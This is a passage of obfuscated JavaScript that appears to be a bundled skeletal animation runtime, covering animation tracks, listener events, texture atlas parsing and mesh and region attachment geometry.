!_0x323699['animation']['hasTimeline'](_0x55d8ad)) _0x1a8d7d[_0x3af263] = _0x57e4e8; else { for (let _0x2c6756 = _0x323699['mixingTo']; _0x2c6756; _0x2c6756 = _0x2c6756['mixingTo'])if (!_0x2c6756['animation']['hasTimeline'](_0x55d8ad)) { if (_0x2a2fa0['mixDuration'] > 0x0) { _0x1a8d7d[_0x3af263] = _0x13832d, _0xfc0ccc[_0x3af263] = _0x2c6756; continue _0x5c8687; } break; } _0x1a8d7d[_0x3af263] = _0x44bc1b; } } else _0x1a8d7d[_0x3af263] = _0xc33164; } } } ['getCurrent'](_0x36ccee) { return _0x36ccee >= this['tracks']['length'] ? null : this['tracks'][_0x36ccee]; } ['addListener'](_0x1296c4) { if (!_0x1296c4) throw new Error('listener\x20cannot\x20be\x20null.'); this['listeners']['push'](_0x1296c4); } ['removeListener'](_0x35ca4e) { let _0x3274cb = this['listeners']['indexOf'](_0x35ca4e); _0x3274cb >= 0x0 && this['listeners']['splice'](_0x3274cb, 0x1); } ['clearListeners']() { this['listeners']['length'] = 0x0; } ['clearListenerNotifications']() { this['queue']['clear'](); } }, _0x2fcea2 = _0x5c287b; _0x2fcea2['_emptyAnimation'] = new _0x908e8c('<empty>', [], 0x0); var _0x2919eb = class { constructor() { this['animation'] = null, this['previous'] = null, this['next'] = null, this['mixingFrom'] = null, this['mixingTo'] = null, this['listener'] = null, this['trackIndex'] = 0x0, this['loop'] = !0x1, this['holdPrevious'] = !0x1, this['reverse'] = !0x1, this['shortestRotation'] = !0x1, this['eventThreshold'] = 0x0, this['attachmentThreshold'] = 0x0, this['drawOrderThreshold'] = 0x0, this['animationStart'] = 0x0, this['animationEnd'] = 0x0, this['animationLast'] = 0x0, this['nextAnimationLast'] = 0x0, this['delay'] = 0x0, this['trackTime'] = 0x0, this['trackLast'] = 0x0, this['nextTrackLast'] = 0x0, this['trackEnd'] = 0x0, this['timeScale'] = 0x0, this['alpha'] = 0x0, this['mixTime'] = 0x0, this['mixDuration'] = 0x0, this['interruptAlpha'] = 0x0, this['totalAlpha'] = 0x0, this['mixBlend'] = 0x2, this['timelineMode'] = new Array(), this['timelineHoldMix'] = new Array(), this['timelinesRotation'] = new Array(); } ['reset']() { this['next'] = null, this['previous'] = null, this['mixingFrom'] = null, this['mixingTo'] = null, this['animation'] = null, this['listener'] = null, this['timelineMode']['length'] = 0x0, this['timelineHoldMix']['length'] = 0x0, this['timelinesRotation']['length'] = 0x0; } ['getAnimationTime']() { if (this['loop']) { let _0x12d0f1 = this['animationEnd'] - this['animationStart']; return 0x0 == _0x12d0f1 ? this['animationStart'] : this['trackTime'] % _0x12d0f1 + this['animationStart']; } return Math['min'](this['trackTime'] + this['animationStart'], this['animationEnd']); } ['setAnimationLast'](_0x26f5d1) { this['animationLast'] = _0x26f5d1, this['nextAnimationLast'] = _0x26f5d1; } ['isComplete']() { return this['trackTime'] >= this['animationEnd'] - this['animationStart']; } ['resetRotationDirections']() { this['timelinesRotation']['length'] = 0x0; } ['getTrackComplete']() { let _0x23d798 = this['animationEnd'] - this['animationStart']; if (0x0 != _0x23d798) { if (this['loop']) return _0x23d798 * (0x1 + (this['trackTime'] / _0x23d798 | 0x0)); if (this['trackTime'] < _0x23d798) return _0x23d798; } return this['trackTime']; } }, _0x428688 = class { constructor(_0x1abf43) { this['objects'] = [], this['drainDisabled'] = !0x1, this['animState'] = _0x1abf43; } ['start'](_0x3c1be5) { this['objects']['push'](_0x4a6393['start']), this['objects']['push'](_0x3c1be5), this['animState']['animationsChanged'] = !0x0; } ['interrupt'](_0x1f9584) { this['objects']['push'](_0x4a6393['interrupt']), this['objects']['push'](_0x1f9584); } ['end'](_0x27b60b) { this['objects']['push'](_0x4a6393['end']), this['objects']['push'](_0x27b60b), this['animState']['animationsChanged'] = !0x0; } ['dispose'](_0x37b0a7) { this['objects']['push'](_0x4a6393['dispose']), this['objects']['push'](_0x37b0a7); } ['complete'](_0x28b1a9) { this['objects']['push'](_0x4a6393['complete']), this['objects']['push'](_0x28b1a9); } ['event'](_0x25baab, _0x5e1220) { this['objects']['push'](_0x4a6393['event']), this['objects']['push'](_0x25baab), this['objects']['push'](_0x5e1220); } ['drain']() { if (this['drainDisabled']) return; this['drainDisabled'] = !0x0; let _0x8b73ea = this['objects'], _0x5ce3e9 = this['animState']['listeners']; for (let _0x58c5c1 = 0x0; _0x58c5c1 < _0x8b73ea['length']; _0x58c5c1 += 0x2) { let _0x4425ff = _0x8b73ea[_0x58c5c1], _0x17bf79 = _0x8b73ea[_0x58c5c1 + 0x1]; switch (_0x4425ff) { case _0x4a6393['start']: _0x17bf79['listener'] && _0x17bf79['listener']['start'] && _0x17bf79['listener']['start'](_0x17bf79); for (let _0x3e3e36 = 0x0; _0x3e3e36 < _0x5ce3e9['length']; _0x3e3e36++) { let _0x44828f = _0x5ce3e9[_0x3e3e36]; _0x44828f['start'] && _0x44828f['start'](_0x17bf79); } break; case _0x4a6393['interrupt']: _0x17bf79['listener'] && _0x17bf79['listener']['interrupt'] && _0x17bf79['listener']['interrupt'](_0x17bf79); for (let _0x3bd19e = 0x0; _0x3bd19e < _0x5ce3e9['length']; _0x3bd19e++) { let _0x340033 = _0x5ce3e9[_0x3bd19e]; _0x340033['interrupt'] && _0x340033['interrupt'](_0x17bf79); } break; case _0x4a6393['end']: _0x17bf79['listener'] && _0x17bf79['listener']['end'] && _0x17bf79['listener']['end'](_0x17bf79); for (let _0x210d02 = 0x0; _0x210d02 < _0x5ce3e9['length']; _0x210d02++) { let _0x922123 = _0x5ce3e9[_0x210d02]; _0x922123['end'] && _0x922123['end'](_0x17bf79); } case _0x4a6393['dispose']: _0x17bf79['listener'] && _0x17bf79['listener']['dispose'] && _0x17bf79['listener']['dispose'](_0x17bf79); for (let _0x30e5bf = 0x0; _0x30e5bf < _0x5ce3e9['length']; _0x30e5bf++) { let _0x54a38b = _0x5ce3e9[_0x30e5bf]; _0x54a38b['dispose'] && _0x54a38b['dispose'](_0x17bf79); } this['animState']['trackEntryPool']['free'](_0x17bf79); break; case _0x4a6393['complete']: _0x17bf79['listener'] && _0x17bf79['listener']['complete'] && _0x17bf79['listener']['complete'](_0x17bf79); for (let _0x27db37 = 0x0; _0x27db37 < _0x5ce3e9['length']; _0x27db37++) { let _0x550b9d = _0x5ce3e9[_0x27db37]; _0x550b9d['complete'] && _0x550b9d['complete'](_0x17bf79); } break; case _0x4a6393['event']: let _0x5a285f = _0x8b73ea[0x2 + _0x58c5c1++]; _0x17bf79['listener'] && _0x17bf79['listener']['event'] && _0x17bf79['listener']['event'](_0x17bf79, _0x5a285f); for (let _0x3c55fd = 0x0; _0x3c55fd < _0x5ce3e9['length']; _0x3c55fd++) { let _0x3ba772 = _0x5ce3e9[_0x3c55fd]; _0x3ba772['event'] && _0x3ba772['event'](_0x17bf79, _0x5a285f); } } } this['clear'](), this['drainDisabled'] = !0x1; } ['clear']() { this['objects']['length'] = 0x0; } }, _0x4a6393 = (_0x1c5cf6 => (_0x1c5cf6[_0x1c5cf6['start'] = 0x0] = 'start', _0x1c5cf6[_0x1c5cf6['interrupt'] = 0x1] = 'interrupt', _0x1c5cf6[_0x1c5cf6['end'] = 0x2] = 'end', _0x1c5cf6[_0x1c5cf6['dispose'] = 0x3] = 'dispose', _0x1c5cf6[_0x1c5cf6['complete'] = 0x4] = 'complete', _0x1c5cf6[_0x1c5cf6['event'] = 0x5] = 'event', _0x1c5cf6))(_0x4a6393 || {}), _0x2141d0 = class { ['start'](_0xdc3459) { } ['interrupt'](_0x497875) { } ['end'](_0x3a1abc) { } ['dispose'](_0x52764e) { } ['complete'](_0xff61b) { } ['event'](_0x4057fe, _0x37f56d) { } }, _0xc33164 = 0x0, _0x57e4e8 = 0x1, _0x1bf8ea = 0x2, _0x44bc1b = 0x3, _0x13832d = 0x4, _0x4b3478 = 0x1, _0x110480 = 0x2, _0x5bc84d = class { constructor(_0x1458a9) { if (this['animationToMixTime'] = {}, this['defaultMix'] = 0x0, !_0x1458a9) throw new Error('skeletonData\x20cannot\x20be\x20null.'); this['skeletonData'] = _0x1458a9; } ['setMix'](_0x42c304, _0x3b4ab6, _0x34e56b) { let _0xae4c3f = this['skeletonData']['findAnimation'](_0x42c304); if (!_0xae4c3f) throw new Error('Animation\x20not\x20found:\x20' + _0x42c304); let _0x2e235c = this['skeletonData']['findAnimation'](_0x3b4ab6); if (!_0x2e235c) throw new Error('Animation\x20not\x20found:\x20' + _0x3b4ab6); this['setMixWith'](_0xae4c3f, _0x2e235c, _0x34e56b); } ['setMixWith'](_0x4445b4, _0x4e7abd, _0x251cb4) { if (!_0x4445b4) throw new Error('from\x20cannot\x20be\x20null.'); if (!_0x4e7abd) throw new Error('to\x20cannot\x20be\x20null.'); let _0x394643 = _0x4445b4['name'] + '.' + _0x4e7abd['name']; this['animationToMixTime'][_0x394643] = _0x251cb4; } ['getMix'](_0x2a20d6, _0x426dd9) { let _0x33cea5 = _0x2a20d6['name'] + '.' + _0x426dd9['name'], _0x15bd1e = this['animationToMixTime'][_0x33cea5]; return void 0x0 === _0x15bd1e ? this['defaultMix'] : _0x15bd1e; } }, _0xc3e958 = class extends _0x26c777 { constructor(_0x205661) { super(_0x205661), this['color'] = new _0x2577a7(0x1, 0x1, 0x1, 0x1); } ['copy']() { let _0x18db54 = new _0xc3e958(this['name']); return this['copyTo'](_0x18db54), _0x18db54['color']['setFromColor'](this['color']), _0x18db54; } }, _0x1e0073 = class extends _0x26c777 { constructor(_0x186c18) { super(_0x186c18), this['endSlot'] = null, this['color'] = new _0x2577a7(0.2275, 0.2275, 0.8078, 0x1); } ['copy']() { let _0x349608 = new _0x1e0073(this['name']); return this['copyTo'](_0x349608), _0x349608['endSlot'] = this['endSlot'], _0x349608['color']['setFromColor'](this['color']), _0x349608; } }, _0x4ec22f = class { constructor(_0x1f9fb0) { this['_image'] = _0x1f9fb0; } ['getImage']() { return this['_image']; } }, _0x2bfce0 = (_0x4b7f69 => (_0x4b7f69[_0x4b7f69['Nearest'] = 0x2600] = 'Nearest', _0x4b7f69[_0x4b7f69['Linear'] = 0x2601] = 'Linear', _0x4b7f69[_0x4b7f69['MipMap'] = 0x2703] = 'MipMap', _0x4b7f69[_0x4b7f69['MipMapNearestNearest'] = 0x2700] = 'MipMapNearestNearest', _0x4b7f69[_0x4b7f69['MipMapLinearNearest'] = 0x2701] = 'MipMapLinearNearest', _0x4b7f69[_0x4b7f69['MipMapNearestLinear'] = 0x2702] = 'MipMapNearestLinear', _0x4b7f69[_0x4b7f69['MipMapLinearLinear'] = 0x2703] = 'MipMapLinearLinear', _0x4b7f69))(_0x2bfce0 || {}), _0x2328c8 = (_0x3ec406 => (_0x3ec406[_0x3ec406['MirroredRepeat'] = 0x8370] = 'MirroredRepeat', _0x3ec406[_0x3ec406['ClampToEdge'] = 0x812f] = 'ClampToEdge', _0x3ec406[_0x3ec406['Repeat'] = 0x2901] = 'Repeat', _0x3ec406))(_0x2328c8 || {}), _0x5166cf = class { constructor() { this['u'] = 0x0, this['v'] = 0x0, this['u2'] = 0x0, this['v2'] = 0x0, this['width'] = 0x0, this['height'] = 0x0, this['degrees'] = 0x0, this['offsetX'] = 0x0, this['offsetY'] = 0x0, this['originalWidth'] = 0x0, this['originalHeight'] = 0x0; } }, _0xe435bf = class extends _0x4ec22f { ['setFilters'](_0xf406b0, _0x5d960c) { } ['setWraps'](_0x1f3c1f, _0x36816c) { } ['dispose']() { } }, _0x340fed = class { constructor(_0x5c9c51) { this['pages'] = new Array(), this['regions'] = new Array(); let _0x3c3561 = new _0x46700f(_0x5c9c51), _0x1680ca = new Array(0x4), _0x5451c0 = { 'size': _0x5b6d55 => { _0x5b6d55['width'] = parseInt(_0x1680ca[0x1]), _0x5b6d55['height'] = parseInt(_0x1680ca[0x2]); }, 'format': () => { }, 'filter': _0x44b1a8 => { _0x44b1a8['minFilter'] = _0x380bba['enumValue'](_0x2bfce0, _0x1680ca[0x1]), _0x44b1a8['magFilter'] = _0x380bba['enumValue'](_0x2bfce0, _0x1680ca[0x2]); }, 'repeat': _0x53b93a => { -0x1 != _0x1680ca[0x1]['indexOf']('x') && (_0x53b93a['uWrap'] = 0x2901), -0x1 != _0x1680ca[0x1]['indexOf']('y') && (_0x53b93a['vWrap'] = 0x2901); }, 'pma': _0x3d8ad7 => { _0x3d8ad7['pma'] = 'true' == _0x1680ca[0x1]; } }; var _0x5b2e84 = { 'xy': _0x528990 => { _0x528990['x'] = parseInt(_0x1680ca[0x1]), _0x528990['y'] = parseInt(_0x1680ca[0x2]); }, 'size': _0x3f6eef => { _0x3f6eef['width'] = parseInt(_0x1680ca[0x1]), _0x3f6eef['height'] = parseInt(_0x1680ca[0x2]); }, 'bounds': _0x40c318 => { _0x40c318['x'] = parseInt(_0x1680ca[0x1]), _0x40c318['y'] = parseInt(_0x1680ca[0x2]), _0x40c318['width'] = parseInt(_0x1680ca[0x3]), _0x40c318['height'] = parseInt(_0x1680ca[0x4]); }, 'offset': _0x5aa57e => { _0x5aa57e['offsetX'] = parseInt(_0x1680ca[0x1]), _0x5aa57e['offsetY'] = parseInt(_0x1680ca[0x2]); }, 'orig': _0x55a9db => { _0x55a9db['originalWidth'] = parseInt(_0x1680ca[0x1]), _0x55a9db['originalHeight'] = parseInt(_0x1680ca[0x2]); }, 'offsets': _0x11ca5b => { _0x11ca5b['offsetX'] = parseInt(_0x1680ca[0x1]), _0x11ca5b['offsetY'] = parseInt(_0x1680ca[0x2]), _0x11ca5b['originalWidth'] = parseInt(_0x1680ca[0x3]), _0x11ca5b['originalHeight'] = parseInt(_0x1680ca[0x4]); }, 'rotate': _0x5abfbc => { let _0x4a8eb7 = _0x1680ca[0x1]; 'true' == _0x4a8eb7 ? _0x5abfbc['degrees'] = 0x5a : 'false' != _0x4a8eb7 && (_0x5abfbc['degrees'] = parseInt(_0x4a8eb7)); }, 'index': _0xf79e19 => { _0xf79e19['index'] = parseInt(_0x1680ca[0x1]); } }; let _0x274c38 = _0x3c3561['readLine'](); for (; _0x274c38 && 0x0 == _0x274c38['trim']()['length'];)_0x274c38 = _0x3c3561['readLine'](); for (; _0x274c38 && 0x0 != _0x274c38['trim']()['length'] && 0x0 != _0x3c3561['readEntry'](_0x1680ca, _0x274c38);)_0x274c38 = _0x3c3561['readLine'](); let _0x5eeaad = null, _0x1c65b5 = null, _0x2c708b = null; for (; null !== _0x274c38;)if (0x0 == _0x274c38['trim']()['length']) _0x5eeaad = null, _0x274c38 = _0x3c3561['readLine'](); else { if (_0x5eeaad) { let _0x560775 = new _0x3020bd(_0x5eeaad, _0x274c38); for (; ;) { let _0x174283 = _0x3c3561['readEntry'](_0x1680ca, _0x274c38 = _0x3c3561['readLine']()); if (0x0 == _0x174283) break; let _0x35321a = _0x5b2e84[_0x1680ca[0x0]]; if (_0x35321a) _0x35321a(_0x560775); else { _0x1c65b5 || (_0x1c65b5 = []), _0x2c708b || (_0x2c708b = []), _0x1c65b5['push'](_0x1680ca[0x0]); let _0x49990a = []; for (let _0x54025a = 0x0; _0x54025a < _0x174283; _0x54025a++)_0x49990a['push'](parseInt(_0x1680ca[_0x54025a + 0x1])); _0x2c708b['push'](_0x49990a); } } 0x0 == _0x560775['originalWidth'] && 0x0 == _0x560775['originalHeight'] && (_0x560775['originalWidth'] = _0x560775['width'], _0x560775['originalHeight'] = _0x560775['height']), _0x1c65b5 && _0x1c65b5['length'] > 0x0 && _0x2c708b && _0x2c708b['length'] > 0x0 && (_0x560775['names'] = _0x1c65b5, _0x560775['values'] = _0x2c708b, _0x1c65b5 = null, _0x2c708b = null), _0x560775['u'] = _0x560775['x'] / _0x5eeaad['width'], _0x560775['v'] = _0x560775['y'] / _0x5eeaad['height'], 0x5a == _0x560775['degrees'] ? (_0x560775['u2'] = (_0x560775['x'] + _0x560775['height']) / _0x5eeaad['width'], _0x560775['v2'] = (_0x560775['y'] + _0x560775['width']) / _0x5eeaad['height']) : (_0x560775['u2'] = (_0x560775['x'] + _0x560775['width']) / _0x5eeaad['width'], _0x560775['v2'] = (_0x560775['y'] + _0x560775['height']) / _0x5eeaad['height']), this['regions']['push'](_0x560775); } else { for (_0x5eeaad = new _0x36047a(_0x274c38['trim']()); 0x0 != _0x3c3561['readEntry'](_0x1680ca, _0x274c38 = _0x3c3561['readLine']());) { let _0x1b99e4 = _0x5451c0[_0x1680ca[0x0]]; _0x1b99e4 && _0x1b99e4(_0x5eeaad); } this['pages']['push'](_0x5eeaad); } } } ['findRegion'](_0x578d28) { for (let _0x1d8a10 = 0x0; _0x1d8a10 < this['regions']['length']; _0x1d8a10++)if (this['regions'][_0x1d8a10]['name'] == _0x578d28) return this['regions'][_0x1d8a10]; return null; } ['setTextures'](_0x1b2561, _0x1cc6b9 = '') { for (let _0x4b3b05 of this['pages']) _0x4b3b05['setTexture'](_0x1b2561['get'](_0x1cc6b9 + _0x4b3b05['name'])); } ['dispose']() { var _0xd4606e; for (let _0x44f461 = 0x0; _0x44f461 < this['pages']['length']; _0x44f461++)null == (_0xd4606e = this['pages'][_0x44f461]['texture']) || _0xd4606e['dispose'](); } }, _0x46700f = class { constructor(_0x57645e) { this['index'] = 0x0, this['lines'] = _0x57645e['split'](/\r\n|\r|\n/); } ['readLine']() { return this['index'] >= this['lines']['length'] ? null : this['lines'][this['index']++]; } ['readEntry'](_0x2e39dd, _0x518de7) { if (!_0x518de7) return 0x0; if (0x0 == (_0x518de7 = _0x518de7['trim']())['length']) return 0x0; let _0x42087b = _0x518de7['indexOf'](':'); if (-0x1 == _0x42087b) return 0x0; _0x2e39dd[0x0] = _0x518de7['substr'](0x0, _0x42087b)['trim'](); for (let _0x27e9b3 = 0x1, _0x22fa05 = _0x42087b + 0x1; ; _0x27e9b3++) { let _0x196df8 = _0x518de7['indexOf'](',', _0x22fa05); if (-0x1 == _0x196df8) return _0x2e39dd[_0x27e9b3] = _0x518de7['substr'](_0x22fa05)['trim'](), _0x27e9b3; if (_0x2e39dd[_0x27e9b3] = _0x518de7['substr'](_0x22fa05, _0x196df8 - _0x22fa05)['trim'](), _0x22fa05 = _0x196df8 + 0x1, 0x4 == _0x27e9b3) return 0x4; } } }, _0x36047a = class { constructor(_0x582fce) { this['minFilter'] = 0x2600, this['magFilter'] = 0x2600, this['uWrap'] = 0x812f, this['vWrap'] = 0x812f, this['texture'] = null, this['width'] = 0x0, this['height'] = 0x0, this['pma'] = !0x1, this['name'] = _0x582fce; } ['setTexture'](_0x26ea28) { this['texture'] = _0x26ea28, _0x26ea28['setFilters'](this['minFilter'], this['magFilter']), _0x26ea28['setWraps'](this['uWrap'], this['vWrap']); } }, _0x3020bd = class extends _0x5166cf { constructor(_0x413e70, _0x1d7dd1) { super(), this['x'] = 0x0, this['y'] = 0x0, this['offsetX'] = 0x0, this['offsetY'] = 0x0, this['originalWidth'] = 0x0, this['originalHeight'] = 0x0, this['index'] = 0x0, this['degrees'] = 0x0, this['names'] = null, this['values'] = null, this['page'] = _0x413e70, this['name'] = _0x1d7dd1; } }, _0x144c75 = class extends _0x26c777 { constructor(_0x4eccb6, _0x3a9ac0) { super(_0x4eccb6), this['region'] = null, this['regionUVs'] = [], this['uvs'] = [], this['triangles'] = [], this['color'] = new _0x2577a7(0x1, 0x1, 0x1, 0x1), this['width'] = 0x0, this['height'] = 0x0, this['hullLength'] = 0x0, this['edges'] = [], this['parentMesh'] = null, this['sequence'] = null, this['tempColor'] = new _0x2577a7(0x0, 0x0, 0x0, 0x0), this['path'] = _0x3a9ac0; } ['updateRegion']() { if (!this['region']) throw new Error('Region\x20not\x20set.'); let _0x34b2d8 = this['regionUVs']; this['uvs'] && this['uvs']['length'] == _0x34b2d8['length'] || (this['uvs'] = _0x380bba['newFloatArray'](_0x34b2d8['length'])); let _0x109f9e = this['uvs'], _0x4f47ff = this['uvs']['length'], _0x1b8fbb = this['region']['u'], _0x58f0ef = this['region']['v'], _0x2be547 = 0x0, _0x2344b7 = 0x0; if (this['region'] instanceof _0x3020bd) { let _0xd368b4 = this['region'], _0x196894 = _0xd368b4['page']['texture']['getImage'](), _0x18ea7f = _0x196894['width'], _0x3a1dc6 = _0x196894['height']; switch (_0xd368b4['degrees']) { case 0x5a: _0x1b8fbb -= (_0xd368b4['originalHeight'] - _0xd368b4['offsetY'] - _0xd368b4['height']) / _0x18ea7f, _0x58f0ef -= (_0xd368b4['originalWidth'] - _0xd368b4['offsetX'] - _0xd368b4['width']) / _0x3a1dc6, _0x2be547 = _0xd368b4['originalHeight'] / _0x18ea7f, _0x2344b7 = _0xd368b4['originalWidth'] / _0x3a1dc6; for (let _0xb7a91b = 0x0; _0xb7a91b < _0x4f47ff; _0xb7a91b += 0x2)_0x109f9e[_0xb7a91b] = _0x1b8fbb + _0x34b2d8[_0xb7a91b + 0x1] * _0x2be547, _0x109f9e[_0xb7a91b + 0x1] = _0x58f0ef + (0x1 - _0x34b2d8[_0xb7a91b]) * _0x2344b7; return; case 0xb4: _0x1b8fbb -= (_0xd368b4['originalWidth'] - _0xd368b4['offsetX'] - _0xd368b4['width']) / _0x18ea7f, _0x58f0ef -= _0xd368b4['offsetY'] / _0x3a1dc6, _0x2be547 = _0xd368b4['originalWidth'] / _0x18ea7f, _0x2344b7 = _0xd368b4['originalHeight'] / _0x3a1dc6; for (let _0x196d28 = 0x0; _0x196d28 < _0x4f47ff; _0x196d28 += 0x2)_0x109f9e[_0x196d28] = _0x1b8fbb + (0x1 - _0x34b2d8[_0x196d28]) * _0x2be547, _0x109f9e[_0x196d28 + 0x1] = _0x58f0ef + (0x1 - _0x34b2d8[_0x196d28 + 0x1]) * _0x2344b7; return; case 0x10e: _0x1b8fbb -= _0xd368b4['offsetY'] / _0x18ea7f, _0x58f0ef -= _0xd368b4['offsetX'] / _0x3a1dc6, _0x2be547 = _0xd368b4['originalHeight'] / _0x18ea7f, _0x2344b7 = _0xd368b4['originalWidth'] / _0x3a1dc6; for (let _0x2af89e = 0x0; _0x2af89e < _0x4f47ff; _0x2af89e += 0x2)_0x109f9e[_0x2af89e] = _0x1b8fbb + (0x1 - _0x34b2d8[_0x2af89e + 0x1]) * _0x2be547, _0x109f9e[_0x2af89e + 0x1] = _0x58f0ef + _0x34b2d8[_0x2af89e] * _0x2344b7; return; }_0x1b8fbb -= _0xd368b4['offsetX'] / _0x18ea7f, _0x58f0ef -= (_0xd368b4['originalHeight'] - _0xd368b4['offsetY'] - _0xd368b4['height']) / _0x3a1dc6, _0x2be547 = _0xd368b4['originalWidth'] / _0x18ea7f, _0x2344b7 = _0xd368b4['originalHeight'] / _0x3a1dc6; } else this['region'] ? (_0x2be547 = this['region']['u2'] - _0x1b8fbb, _0x2344b7 = this['region']['v2'] - _0x58f0ef) : (_0x1b8fbb = _0x58f0ef = 0x0, _0x2be547 = _0x2344b7 = 0x1); for (let _0x21127f = 0x0; _0x21127f < _0x4f47ff; _0x21127f += 0x2)_0x109f9e[_0x21127f] = _0x1b8fbb + _0x34b2d8[_0x21127f] * _0x2be547, _0x109f9e[_0x21127f + 0x1] = _0x58f0ef + _0x34b2d8[_0x21127f + 0x1] * _0x2344b7; } ['getParentMesh']() { return this['parentMesh']; } ['setParentMesh'](_0x144b8a) { this['parentMesh'] = _0x144b8a, _0x144b8a && (this['bones'] = _0x144b8a['bones'], this['vertices'] = _0x144b8a['vertices'], this['worldVerticesLength'] = _0x144b8a['worldVerticesLength'], this['regionUVs'] = _0x144b8a['regionUVs'], this['triangles'] = _0x144b8a['triangles'], this['hullLength'] = _0x144b8a['hullLength'], this['worldVerticesLength'] = _0x144b8a['worldVerticesLength']); } ['copy']() { if (this['parentMesh']) return this['newLinkedMesh'](); let _0xaed2b2 = new _0x144c75(this['name'], this['path']); return _0xaed2b2['region'] = this['region'], _0xaed2b2['color']['setFromColor'](this['color']), this['copyTo'](_0xaed2b2), _0xaed2b2['regionUVs'] = new Array(this['regionUVs']['length']), _0x380bba['arrayCopy'](this['regionUVs'], 0x0, _0xaed2b2['regionUVs'], 0x0, this['regionUVs']['length']), _0xaed2b2['uvs'] = new Array(this['uvs']['length']), _0x380bba['arrayCopy'](this['uvs'], 0x0, _0xaed2b2['uvs'], 0x0, this['uvs']['length']), _0xaed2b2['triangles'] = new Array(this['triangles']['length']), _0x380bba['arrayCopy'](this['triangles'], 0x0, _0xaed2b2['triangles'], 0x0, this['triangles']['length']), _0xaed2b2['hullLength'] = this['hullLength'], _0xaed2b2['sequence'] = null != this['sequence'] ? this['sequence']['copy']() : null, this['edges'] && (_0xaed2b2['edges'] = new Array(this['edges']['length']), _0x380bba['arrayCopy'](this['edges'], 0x0, _0xaed2b2['edges'], 0x0, this['edges']['length'])), _0xaed2b2['width'] = this['width'], _0xaed2b2['height'] = this['height'], _0xaed2b2; } ['computeWorldVertices'](_0xe88c16, _0x480d48, _0x14844c, _0x316218, _0x228a4a, _0x2473df) { null != this['sequence'] && this['sequence']['apply'](_0xe88c16, this), super['computeWorldVertices'](_0xe88c16, _0x480d48, _0x14844c, _0x316218, _0x228a4a, _0x2473df); } ['newLinkedMesh']() { let _0xdf3d85 = new _0x144c75(this['name'], this['path']); return _0xdf3d85['region'] = this['region'], _0xdf3d85['color']['setFromColor'](this['color']), _0xdf3d85['timelineAttachment'] = this['timelineAttachment'], _0xdf3d85['setParentMesh'](this['parentMesh'] ? this['parentMesh'] : this), null != _0xdf3d85['region'] && _0xdf3d85['updateRegion'](), _0xdf3d85; } }, _0x7433b6 = class extends _0x26c777 { constructor(_0x2d7812) { super(_0x2d7812), this['lengths'] = [], this['closed'] = !0x1, this['constantSpeed'] = !0x1, this['color'] = new _0x2577a7(0x1, 0x1, 0x1, 0x1); } ['copy']() { let _0x201bc4 = new _0x7433b6(this['name']); return this['copyTo'](_0x201bc4), _0x201bc4['lengths'] = new Array(this['lengths']['length']), _0x380bba['arrayCopy'](this['lengths'], 0x0, _0x201bc4['lengths'], 0x0, this['lengths']['length']), _0x201bc4['closed'] = closed, _0x201bc4['constantSpeed'] = this['constantSpeed'], _0x201bc4['color']['setFromColor'](this['color']), _0x201bc4; } }, _0xb20849 = class extends _0x26c777 { constructor(_0x117869) { super(_0x117869), this['x'] = 0x0, this['y'] = 0x0, this['rotation'] = 0x0, this['color'] = new _0x2577a7(0.38, 0.94, 0x0, 0x1); } ['computeWorldPosition'](_0x11f8fb, _0x1620c2) { return _0x1620c2['x'] = this['x'] * _0x11f8fb['a'] + this['y'] * _0x11f8fb['b'] + _0x11f8fb['worldX'], _0x1620c2['y'] = this['x'] * _0x11f8fb['c'] + this['y'] * _0x11f8fb['d'] + _0x11f8fb['worldY'], _0x1620c2; } ['computeWorldRotation'](_0x5edcfb) { let _0x28e837 = _0xbc125['cosDeg'](this['rotation']), _0x17bd27 = _0xbc125['sinDeg'](this['rotation']), _0x5ac130 = _0x28e837 * _0x5edcfb['a'] + _0x17bd27 * _0x5edcfb['b'], _0x5f2bf7 = _0x28e837 * _0x5edcfb['c'] + _0x17bd27 * _0x5edcfb['d']; return Math['atan2'](_0x5f2bf7, _0x5ac130) * _0xbc125['radDeg']; } ['copy']() { let _0xc32ec4 = new _0xb20849(this['name']); return _0xc32ec4['x'] = this['x'], _0xc32ec4['y'] = this['y'], _0xc32ec4['rotation'] = this['rotation'], _0xc32ec4['color']['setFromColor'](this['color']), _0xc32ec4; } }, _0x3c1d0b = class extends _0x167b0f { constructor(_0x1d3865, _0x10a0c1) { super(_0x1d3865), this['x'] = 0x0, this['y'] = 0x0, this['scaleX'] = 0x1, this['scaleY'] = 0x1, this['rotation'] = 0x0, this['width'] = 0x0, this['height'] = 0x0, this['color'] = new _0x2577a7(0x1, 0x1, 0x1, 0x1), this['rendererObject'] = null, this['region'] = null, this['sequence'] = null, this['offset'] = _0x380bba['newFloatArray'](0x8), this['uvs'] = _0x380bba['newFloatArray'](0x8), this['tempColor'] = new _0x2577a7(0x1, 0x1, 0x1, 0x1), this['path'] = _0x10a0c1; } ['updateRegion']() { if (!this['region']) throw new Error('Region\x20not\x20set.'); let _0x1c2e87 = this['region'], _0x33091d = this['uvs']; if (null == _0x1c2e87) return _0x33091d[0x0] = 0x0, _0x33091d[0x1] = 0x0, _0x33091d[0x2] = 0x0, _0x33091d[0x3] = 0x1, _0x33091d[0x4] = 0x1, _0x33091d[0x5] = 0x1, _0x33091d[0x6] = 0x1, void (_0x33091d[0x7] = 0x0); let _0x23f346 = this['width'] / this['region']['originalWidth'] * this['scaleX'], _0x55b086 = this['height'] / this['region']['originalHeight'] * this['scaleY'], _0x4b1c4a = -this['width'] / 0x2 * this['scaleX'] + this['region']['offsetX'] * _0x23f346, _0x59a37e = -this['height'] / 0x2 * this['scaleY'] + this['region']['offsetY'] * _0x55b086, _0x12f2e = _0x4b1c4a + this['region']['width'] * _0x23f346, _0x4dce84 = _0x59a37e + this['region']['height'] * _0x55b086, _0x3f8fe9 = this['rotation'] * Math['PI'] / 0xb4, _0x2f816e = Math['cos'](_0x3f8fe9), _0x234927 = Math['sin'](_0x3f8fe9), _0x38dd40 = this['x'], _0x22a368 = this['y'], _0x1d070b = _0x4b1c4a * _0x2f816e + _0x38dd40, _0x283d9f = _0x4b1c4a * _0x234927, _0xf76c00 = _0x59a37e * _0x2f816e + _0x22a368, _0x4806e9 = _0x59a37e * _0x234927, _0xfccf31 = _0x12f2e * _0x2f816e + _0x38dd40, _0x2db4a2 = _0x12f2e * _0x234927, _0x477561 = _0x4dce84 * _0x2f816e + _0x22a368, _0x1aed87 = _0x4dce84 * _0x234927, _0x34bfe2 = this['offset']; _0x34bfe2[0x0] = _0x1d070b - _0x4806e9, _0x34bfe2[0x1] = _0xf76c00 + _0x283d9f, _0x34bfe2[0x2] = _0x1d070b - 